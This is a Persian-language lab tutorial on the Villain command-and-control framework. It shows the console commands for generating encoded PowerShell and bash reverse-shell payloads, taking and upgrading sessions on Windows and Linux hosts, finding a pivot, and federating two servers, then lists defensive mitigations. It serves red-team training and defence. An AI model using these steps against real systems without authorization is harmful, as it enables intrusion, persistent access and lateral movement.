راهنمای جامع فریم‌ورک C2 با نام Villain

راهنمای جامع فریم‌ورک C2 با نام Villain
راهنمای جامع فریم‌ورک C2 با نام Villain

این ابزار قابلیت تولید پیلودهای Reverse Shell و HoaxShell را برای هر دو سیستم‌عامل Windows و Linux فراهم می‌کند، چندین نشست هم‌زمان را مدیریت می‌کند و مهم‌تر از همه این امکان را فراهم می‌سازد که چندین نمونه مستقل از Villain به‌صورت سرور همتا (Sibling Server) به یکدیگر متصل شوند؛ به‌گونه‌ای که اپراتورها بتوانند شل‌های به‌دست‌آمده را به‌صورت بلادرنگ بین سیستم‌های مختلف به اشتراک بگذارند.

این مقاله یک راهنمای عملی و گام‌به‌گام کامل از این فرآیند را در یک آزمایشگاه کنترل‌شده ارائه می‌دهد. در این سناریو:

  • Villain را بر روی سیستم مهاجم Kali Linux با آدرس ۱۹۲٫۱۶۸٫۱٫۱۷ اجرا می‌کنیم.
  • یک میزبان Windows با آدرس ۱۹۲٫۱۶۸٫۱٫۱۲ و یک میزبان Linux با آدرس ۱۹۲٫۱۶۸٫۱٫۱۱ را مورد نفوذ قرار می‌دهیم.
  • شل‌های اولیه را ارتقاء می‌دهیم.
  • یک سرور Villain دوم را که بر روی سیستم Ubuntu با آدرس ۱۹۲٫۱۶۸٫۱٫۹ اجرا می‌شود، به‌صورت متحدشده به زیرساخت متصل می‌کنیم.

در طول این مسیر، موارد زیر را به‌صورت عملی نمایش خواهیم داد:

  • تولید پیلودهای رمزگذاری‌شده
  • دسترسی به شل تعاملی
  • ارتقاء به ConPtyShell
  • کشف Pivot
  • همگام‌سازی سرورها
  • مدیریت کامل چرخه عمر نشست‌ها

در پایان نیز اقدامات دفاعی عملی که تیم‌های امنیتی می‌توانند برای شناسایی و مختل‌سازی این نوع فعالیت‌ها استفاده کنند، بررسی خواهد شد.

فهرست مطالب

آکادمی لیان
  • نمای کلی
  • مقدمه
  • محیط آزمایشگاهی
  • کلون‌کردن مخزن Villain
  • بررسی فایل‌های پروژه
  • اجرای Villain
  • تولید یک پیلود رمزگذاری‌شده برای Windows
  • ورود به Windows Pseudo-Shell
  • ارتقاء به ConPtyShell کاملاً تعاملی
  • تولید پیلود Linux
  • دریافت نشست Linux و کشف Pivot
  • آماده‌سازی میزبان Sibling Server
  • اتصال به Sibling Server
  • پذیرش اتصال و همگام‌سازی نشست‌ها
  • تأیید رابطه Sibling
  • بررسی Backdoorهای فعال
  • بررسی Shell Redirectorها
  • تعریف Alias برای نشست‌ها جهت خوانایی بهتر
  • خاتمه دادن به یک نشست
  • پاک‌سازی Metadata ذخیره‌شده
  • راهکارهای کاهش ریسک
  • نتیجه‌گیری

مقدمه

پس از آن‌که یک مهاجم موفق به ایجاد دسترسی اولیه بر روی یک هدف می‌شود، چالش اصلی آغاز می‌گردد: حفظ دسترسی پایدار، مدیریت هم‌زمان چندین میزبان دچار نفوذ ‌شده، ارتقاء شل‌های ناپایدار به نشست‌های تعاملی قابل استفاده، و هماهنگی عملیات در قالب یک تیم.

Villain دقیقاً برای این مرحله از Post-Exploitation طراحی شده است. به‌جای مدیریت Listenerهای جداگانه و استفاده از دستور تک‌خطی‌های پراکنده Reverse Shell، اپراتور می‌تواند تمامی عملیات را از طریق یک کنسول واحد هدایت کند.

در لایه زیرین، Villain به‌طور گسترده بر HoaxShell تکیه دارد تکنیکی مبتنی بر HTTP/HTTPS برای ایجاد Reverse Shell که ترافیک C2 را در قالب درخواست‌های عادی وب پنهان می‌کند تا از شناسایی‌های متداول عبور کند.

ویژگی‌های کلیدی آن عبارت‌اند از:

  • Multi-Handler برای پیلودهای Reverse TCP و HoaxShell
  • ابزار داخلی HTTP File Smuggler برای مرحله‌بندی ابزارها
  • یکپارچگی با ConPtyShell برای ارائه شل‌های تعاملی کامل در Windows

با این حال، قابلیت شاخص Villain مدل Sibling Server است. در این مدل، دو یا چند نمونه Villain که بر روی ماشین‌های مختلف اجرا می‌شوند، می‌توانند به‌صورت متحدشده به یکدیگر متصل شوند، نشست‌های به‌دست‌آمده را همگام‌سازی کنند و ترافیک شل را میان خود مسیریابی نمایند قابلیتی که همکاری واقعی چند اپراتور بر روی چند میزبان را ممکن می‌سازد.

در طول این مقاله، تمامی این قابلیت‌ها را در یک آزمایشگاه اختصاصی بررسی کرده و هر دستور را به‌صورت مرحله‌به‌مرحله اجرا می‌کنیم تا کل فرآیند از ابتدا تا انتها قابل بازتولید باشد.

محیط آزمایشگاهی

این راهنما از یک آزمایشگاه ایزوله‌شده استفاده می‌کند که شامل موارد زیر است:

  • یک سیستم Kali Linux به‌عنوان مهاجم
  • دو میزبان قربانی (Windows و Linux)
  • یک سیستم Ubuntu که یک نمونه فدره‌شده از Villain را اجرا می‌کند

تمامی فعالیت‌ها بر روی سیستم‌هایی انجام می‌شود که مالک آن‌ها هستیم و کنترل کامل بر آن‌ها داریم.

جدول زیر نقش هر سیستم، نوع آن و آدرس IP مربوطه را که در طول سناریو استفاده می‌شود، خلاصه می‌کند.

کلون‌کردن مخزن Villain

در این مرحله، کار را از سیستم مهاجم Kali Linux آغاز می‌کنیم و کد منبع Villain را مستقیماً از مخزن رسمی آن در GitHub دریافت می‌کنیم. با اجرای دستور clone، کل پروژه شامل حدود ۱۴۰۰ شیء  در یک دایرکتوری محلی با نام villain دانلود می‌شود.

خروجی این دستور نشان می‌دهد که فرآیند دریافت به‌صورت کامل و بدون خطا انجام شده است؛ به‌طوری که تمامی آبجکت‌ها دریافت شده و تمام تغییرات تفاضلی نیز با موفقیت برطرف شدند.

git clone https://github.com/t3l3machus/villain

بررسی فایل‌های پروژه

پس از قرار گرفتن مخزن بر روی دیسک، وارد دایرکتوری پروژه می‌شویم و محتویات آن را فهرست می‌کنیم. ساختار نمایش‌داده‌شده، معماری داخلی فریم‌ورک را آشکار می‌کند:

  • ماژول Core که هسته اجرایی Villain را در خود جای داده است
  • فایل‌های LICENSE و README
  • فایل requirements (وابستگی‌ها)
  • راهنمای استفاده
  • و فایل Villain.py که نقطه ورود برنامه محسوب می‌شود و در مرحله بعد آن را اجرا خواهیم کرد.

این ساختار نشان می‌دهد که منطق اصلی فریم‌ورک در ماژول Core متمرکز شده و اسکریپت Villain.py به‌عنوان درگاه اجرایی اصلی برای راه‌اندازی محیط C2 عمل می‌کند.

cd villain
ls -al

اجرای Villain

با اجرای اسکریپت entry-point، فریم‌ورک راه‌اندازی می‌شود. پس از اجرا، Villain بنر خود را نمایش می‌دهد و بلافاصله چهار سرویس پس‌زمینه را مقداردهی اولیه می‌کند:

  • Team Server روی پورت ۶۵۰۱ برای فدراسیون (Federation)و ارتباط با Sibling Serverها
  • Reverse TCP Multi‑Handler روی پورت ۴۴۴۳
  • HoaxShell Multi‑Handler روی پورت ۸۰۸۰
  • HTTP File Smuggler روی پورت ۸۸۸۸

با وارد کردن دستور help، تمامی دستوراتی که در پرامپت اصلی و همچنین در pseudo‑shell تعاملی در دسترس هستند نمایش داده می‌شوند. این دستورات شامل قابلیت‌هایی مانند:

  • تولید Payload
  • مدیریت Sessionها
  • Redirection ترافیک
  • انتقال فایل
  • و چت بین سرورهای sibling

می‌شوند.

python Villain.py
help

تولید یک Payload رمزگذاری‌شده برای Windows

دستور generate در Villain ایمپلنت‌هایی آماده اجرا تولید می‌کند. در اینجا یک payload از نوع PowerShell reverse‑TCP با رمزگذاری Base64 تولید می‌کنیم که به اینترفیس eth0 متصل است؛ به‌طوری که ایمپلنت پس از اجرا به‌صورت خودکار به سیستم Kali بازگشت اتصال برقرار کند.

پس از تولید، Villain دستور one‑liner مربوطه را نمایش می‌دهد و آن را در clipboard نیز کپی می‌کند. هنگامی که اپراتور این دستور را روی سیستم هدف Windows اجرا کند، فریم‌ورک ایجاد یک session جدید از آدرس ۱۹۲٫۱۶۸٫۱٫۱۲ متعلق به کاربر IGNITE\administrator را گزارش می‌دهد.

سپس با اجرای دستور sessions، شل تازه به‌دست‌آمده در فهرست نشست‌های فعال نمایش داده می‌شود.

generate payload=windows/reverse_tcp/powershell lhost=eth0 encode
sessions

ورود به Windows Pseudo‑Shell

برای تعامل با میزبان به‌دست‌آمده، با استفاده از دستور shell به شناسه نشست مربوط به آن متصل می‌شویم. پس از این کار، Villain یک pseudo‑shell تعاملی را فعال می‌کند.

با اجرای دستور ipconfig می‌توان کنترل بر روی سیستم هدف Windows را تأیید کرد. خروجی نشان می‌دهد که سیستم دارای آدرس IPv4 برابر با ۱۹۲٫۱۶۸٫۱٫۱۲ در زیرشبکه ۲۵۵٫۲۵۵٫۲۵۵٫۰ است و از طریق دروازه پیش‌فرض ۱۹۲٫۱۶۸٫۱٫۱  به شبکه متصل شده است.

shell 09c2cc-c1b5fb-617587
ipconfig

ارتقاء به یک ConPtyShell کاملاً تعاملی

یک pseudo‑shell هرچند کاربردی است، اما محدودیت‌هایی دارد. برای رفع این محدودیت‌ها، Villain دستور conptyshell را ارائه می‌دهد که اسکریپت Invoke‑ConPtyShell را روی نشست اجرا می‌کند تا یک PowerShell کاملاً تعاملی با پشتیبانی صحیح از TTY ایجاد شود.

در این مرحله، این اتصال را به اینترفیس eth0 هدایت می‌کنیم، پورت ۱۲۳۴ را انتخاب می‌کنیم و نشست هدف را با استفاده از Session ID مشخص می‌کنیم. نتیجه، یک کنسول واقعی PowerShell با دسترسی Administrator است که امکان تعامل کامل با سیستم را فراهم می‌کند.

conptyshell eth0 1234 85513e-c695ba-e35147

تولید یک Payload برای Linux

Villain مدیریت سیستم‌های هدف Linux را نیز به همان اندازه ساده انجام می‌دهد. در این مرحله یک payload از نوع Bash reverse‑shell تولید می‌کنیم که مانند قبل به اینترفیس eth0 متصل است.

این فرآیند یک one‑liner فشرده مبتنی بر ‎/dev/tcp‎ ایجاد می‌کند که پس از اجرا به handler موجود روی سیستم Kali در پورت ۴۴۴۳ بازگشت اتصال برقرار می‌کند. این دستور تک‌خطی نیز برای سهولت انتقال، به‌طور خودکار در clipboard کپی می‌شود تا روی سیستم هدف اجرا گردد.

 

generate payload=linux/reverse_tcp/bash_read_line lhost=eth0

 

دریافت نشست Linux و کشف یک Pivot

پس از اجرای payload روی میزبان Linux، Villain ایجاد یک session جدید از آدرس ۱۹۲٫۱۶۸٫۱٫۱۱متعلق به کاربر pentest@ignite را گزارش می‌دهد. سپس به این نشست متصل می‌شویم و دستور ifconfig را اجرا می‌کنیم.

خروجی این دستور نشان می‌دهد که سیستم دارای دو رابط شبکه است. رابط ens33 در شبکه ۱۹۲٫۱۶۸٫۱٫۰/۲۴ قرار دارد، در حالی که رابط ens37 دارای آدرس ۱۹۲٫۱۶۸٫۱۴۸٫۱۲۹ در یک زیرشبکه داخلی دوم است.

این وضعیت یک نقطه Pivot واضح فراهم می‌کند که می‌تواند برای دسترسی به یک بخش شبکه‌ای که در حالت عادی قابل دسترس نیست مورد استفاده قرار گیرد.

sessions
shell d38857-110610-a66371
ifconfig

آماده‌سازی میزبان Sibling Server

یکی از قابلیت‌های برجسته Villain فدراسیون سرورها است. برای نمایش این قابلیت، به یک سیستم Ubuntu منتقل می‌شویم که قرار است یک نمونه مستقل دوم از Villain را اجرا کند.

با بررسی آدرس سیستم از طریق دستور ifconfig مشخص می‌شود که این میزبان دارای آدرس ۱۹۲٫۱۶۸٫۱٫۹ است. این همان سیستمی است که سرور Villain اجراشده روی سیستم Kali با آن فدره خواهد شد.

ifconfig

اتصال به Sibling Server

در سیستم Kali، با استفاده از دستور connect به Team Server مربوط به سرور sibling در آدرس ۱۹۲٫۱۶۸٫۱٫۹:۶۵۰۱ متصل می‌شویم.

پس از ارسال درخواست اتصال، Villain ارتباط بین دو سرور را برقرار کرده و فرآیند همگام‌سازی را انجام می‌دهد تا هر دو سرور بتوانند اطلاعات نشست‌ها را با یکدیگر به اشتراک بگذارند.

connect 192.168.1.9 6501

پذیرش اتصال و همگام‌سازی نشست‌ها

در میزبان Ubuntu، نمونه دوم Villain درخواست اتصال ورودی از آدرس ۱۹۲٫۱۶۸٫۱٫۱۷ را دریافت می‌کند و از اپراتور می‌خواهد یک کد یک‌بارمصرف وارد کند. با وارد کردن کد ۹۶۹۱، فرآیند فدراسیون پذیرفته می‌شود و Villain دو نشست شل اضافی را در میان این ارتباط همگام‌سازی می‌کند.

پس از آن، با اجرای دستور نمایش نشست‌ها در سرور sibling، هر دو شل Linux (192.168.1.11) و Windows (192.168.1.12) که متعلق به کاربر kali هستند در فهرست دیده می‌شوند. سپس برای تأیید کنترل بین دو سرور، وارد شل Windows شده و با اجرای دستور ipconfig صحت دسترسی را بررسی می‌کنیم.

python3 Villain.py
۹۶۹۱
sessions
shell 85513e-c695ba-e35147
ipconfig

تأیید ارتباط Sibling

دستور siblings در سیستم Kali وضعیت فدراسیون را تأیید می‌کند. این دستور همتای متصل را نمایش می‌دهد میزبان با نام ignite در آدرس ۱۹۲٫۱۶۸٫۱٫۹:۶۵۰۱ که دارای وضعیت Active است. این موضوع نشان می‌دهد که دو سرور اکنون به‌صورت یک زیرساخت مشترک و همکاری‌محور با یکدیگر عمل می‌کنند.

Siblings

بررسی Backdoorهای فعال

دستور backdoors خلاصه‌ای از تمامی ایمپلنت‌های برقرارشده را بر اساس نوع شل، listener، میزان پایداری و وضعیت نمایش می‌دهد.

در این سناریو، هر دو شل فعال هستند:

  • یک backdoor از نوع unix reverse‑tcp روی میزبان ۱۹۲٫۱۶۸٫۱٫۱۱
  • یک backdoor از نوع powershell.exe reverse‑tcp روی میزبان ۱۹۲٫۱۶۸٫۱٫۱۲

وضعیت هر دو اتصال Stable و Active گزارش می‌شود.

در ادامه، با اجرای دستور sessions می‌توان هر backdoor را با کاربر مالک آن نشست تطبیق داد و مشاهده کرد که هر اتصال تحت کدام حساب کاربری در سیستم هدف اجرا شده است.

backdoors
sessions

بررسی Shell Redirectorها

زمانی که sessionها بین سرورهای sibling به اشتراک گذاشته می‌شوند، Villain ترافیک آن‌ها را از طریق redirectorها مسیریابی می‌کند. با اجرای دستور redirectors، فهرستی از تمامی این redirectorها نمایش داده می‌شود.

در این مثال، redirector با شناسه ۰ نشست Windows با شناسه ۸۵۵۱۳e‑c695ba‑e35147 را به سرور sibling با شناسه ۴۶۹۷۷e7a…۳da3527 متصل می‌کند. این اطلاعات به‌طور دقیق نشان می‌دهد که شل به‌دست‌آمده چگونه از طریق لینک فدره‌شده بین سرورها عبور داده و مسیریابی می‌شود.

Redirectors

اختصاص Alias به نشست‌ها برای خوانایی بهتر

شناسه‌های طولانی session در طول یک عملیات ممکن است پیگیری نشست‌ها را دشوار کنند. دستور alias این امکان را فراهم می‌کند که به‌جای این شناسه‌های طولانی، نام‌های ساده و قابل‌تشخیص تعیین شود.

در اینجا، نشست Linux را به raj‑ubuntu و نشست Windows را به raj‑server تغییرنام می‌دهیم. پس از این کار، در فهرست نشست‌ها این نام‌های دوستانه به‌جای شناسه‌های اصلی نمایش داده می‌شوند و مدیریت نشست‌ها ساده‌تر خواهد شد.

alias raj-ubuntu 2d8225-90f573-5fae88
alias raj-server 85513e-c695ba-e35147
sessions

خاتمه دادن به یک نشست

فرآیند پاک‌سازی با استفاده از دستور kill آغاز می‌شود. این دستور امکان می‌دهد یک session مشخص را بر اساس alias آن خاتمه دهیم.

در اینجا با اجرای دستور برای raj‑ubuntu، شل مربوط به سیستم Linux متوقف و ارتباط آن قطع می‌شود. سپس با بررسی مجدد فهرست نشست‌ها مشخص می‌شود که تنها نشست Windows با نام raj‑server همچنان فعال باقی مانده است.

kill raj-ubuntu
sessions

پاک‌سازی Metadata ذخیره‌شده

در نهایت، Villain اطلاعات metadata مربوط به هر implant تولیدشده را ذخیره می‌کند تا در صورت نیاز بتوان sessionها را در آینده مجدداً برقرار کرد.

توضیحات دستور purge در بخش help این رفتار را شرح می‌دهد. با اجرای دستور purge و پس از تأیید در پیام تأیید، تمامی metadataهای ذخیره‌شده مربوط به نشست‌ها حذف می‌شوند، بدون آنکه sessionهایی که همچنان فعال هستند تحت تأثیر قرار بگیرند.

help purge
purge

راهکارهای کاهش خطر

فریم‌ورک‌هایی مانند Villain با مخفی شدن در میان ترافیک عادی شبکه و سوءاستفاده از مفسرهای داخلی سیستم‌عامل عمل می‌کنند. بنابراین دفاع مؤثر در برابر آن‌ها به دیدپذیری چندلایه و کنترل‌های امنیتی ترکیبی وابسته است، نه صرفاً یک ابزار امنیتی واحد. اقدامات زیر به سازمان‌ها کمک می‌کند تکنیک‌های نشان‌داده‌شده در بالا را شناسایی و مختل کنند.

فعال‌سازی لاگ‌برداری عمیق PowerShell

قابلیت‌های Script Block Logging، Module Logging و PowerShell Transcription را فعال کنید و رویدادها را به یک SIEM ارسال کنید. دستورات تک‌خطی رمزگذاری‌شده مانند payload نوع EncodedCommand که در این سناریو استفاده شد، زمانی که AMSI (Anti‑Malware Scan Interface) و Constrained Language Mode فعال باشند، به‌وضوح در لاگ‌ها قابل مشاهده خواهند بود.

استقرار EDR با تشخیص رفتاری

ابزارهای Endpoint Detection and Response (EDR) رفتارهای شاخص را شناسایی می‌کنند؛ مانند اجرای Invoke‑ConPtyShell برای ایجاد PTY، برقراری اتصال TCP خروجی توسط PowerShell، یا استفاده bash از /dev/tcp برای ریدایرکت اتصال. این رفتارها اغلب توسط آنتی‌ویروس‌های مبتنی بر امضا شناسایی نمی‌شوند.

محدودسازی ترافیک خروجی

هندلرهای Villain معمولاً روی پورت‌های ۴۴۴۳، ۸۰۸۰، ۶۵۰۱ و ۸۸۸۸ گوش می‌دهند. در فایروال تنها مقاصد و پورت‌های ضروری را در allowlist قرار دهید تا reverse shellها یا همگام‌سازی سرورهای sibling نتوانند به اپراتور خارجی متصل شوند.

قطعه‌بندی شبکه

در مثال بالا، میزبان Linux آلوده دو رابط شبکه داشت و به یک زیرشبکه داخلی دوم دسترسی پیدا می‌کرد. با segmentation سخت‌گیرانه شبکه، فایروال‌های مبتنی بر میزبان و ACLها بین نواحی مختلف، می‌توان یک foothold را محدود کرد و از pivoting جانبی جلوگیری نمود.

اجرای Application Allowlisting

راهکارهایی مانند Windows Defender Application Control یا AppLocker اجرای اسکریپت‌ها و باینری‌های غیرمجاز را مسدود می‌کنند. این کار می‌تواند HoaxShell و ایمپلنت‌های reverse‑TCP را پیش از اجرا متوقف کند.

اعمال اصل حداقل دسترسی

شل‌های به‌دست‌آمده در این سناریو با سطح دسترسی IGNITE\administrator و یک کاربر لینوکسی با امتیاز بالا اجرا شدند. حذف دسترسی‌های غیرضروری administrator محلی و اجرای کنترل دسترسی مبتنی بر نقش (RBAC) به‌شدت توانایی ایمپلنت برای سوءاستفاده از سیستم پس از نفوذ را محدود می‌کند.

شکار الگوهای Beacon مربوط به C2

HoaxShell از طریق HTTP در بازه‌های زمانی منظم ارتباط برقرار می‌کند. پایش درخواست‌های خروجی دوره‌ای با تغییرپذیری کم، User‑Agentهای غیرعادی و اتصالات طولانی‌مدت به یک endpoint ثابت می‌تواند نشانه‌ای از وجود یک C2 handler فعال باشد.

وصله‌کردن و سخت‌سازی مداوم سیستم‌ها

سیستم‌عامل‌ها و سرویس‌ها را همواره به‌روز نگه دارید، مفسرها و مسیرهای اجرای از راه دور غیرضروری را غیرفعال کنید و برای یافتن scheduled taskهای قدیمی یا غیرمجاز که مهاجمان برای پایداری استفاده می‌کنند، به‌طور منظم ممیزی انجام دهید.

نتیجه‌گیری

Villain نشان می‌دهد که یک فریم‌ورک مدرن Command‑and‑Control (C2) چگونه می‌تواند کل چرخه پس از نفوذ را در یک کنسول واحد فشرده و مدیریت کند. در یک گردش‌کار پیوسته، ما ابزار را کلون و اجرا کردیم، payloadهای رمزگذاری‌شده برای هر دو سیستم Windows و Linux تولید کردیم، یک pseudo‑shell ساده را به یک ConPtyShell کاملاً تعاملی ارتقا دادیم، یک میزبان dual‑homed مناسب برای pivot را شناسایی کردیم و در نهایت دو سرور مستقل را به‌صورت federated به هم متصل کردیم تا شل‌های به‌دست‌آمده بتوانند بین سیستم‌ها به اشتراک گذاشته شوند، alias دریافت کنند، هدایت شوند و در صورت نیاز به‌صورت تمیز خاتمه داده شوند.

مدل Sibling Server در Villain آن را به گزینه‌ای بسیار مناسب برای عملیات‌های مشارکتی Red Team تبدیل می‌کند؛ جایی که چند اپراتور باید به‌طور هم‌زمان روی مجموعه‌ای از اهداف کار کنند، بدون اینکه فعالیت‌هایشان با یکدیگر تداخل پیدا کند.

 

آکادمی لیان

نوشته های مشابه

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دکمه بازگشت به بالا